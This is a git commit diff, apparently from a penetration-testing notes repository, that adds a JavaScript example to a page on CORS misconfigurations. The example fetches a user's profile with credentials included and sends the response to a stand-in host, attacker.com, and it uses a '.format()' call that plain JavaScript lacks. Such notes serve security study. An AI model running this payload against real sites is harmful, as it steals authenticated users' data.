Update CORS - Misconfigurations & Bypass.md

This commit is contained in:
Mehdi 2024-08-23 16:44:56 +03:30 committed by GitHub
parent 2e9ae87d60
commit fb0c538961
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -30,6 +30,15 @@ xhr.withCredentials = true;
xhr.send(null);
```
```javascript
fetch("https://target.com/api/user/profile", {
credentials: "include"
})
.then((response) => {
document.location = "//attacker.com/log?key={0}".format(response.text());
});
```
```javascript
fetch(url, {
credentials: 'include'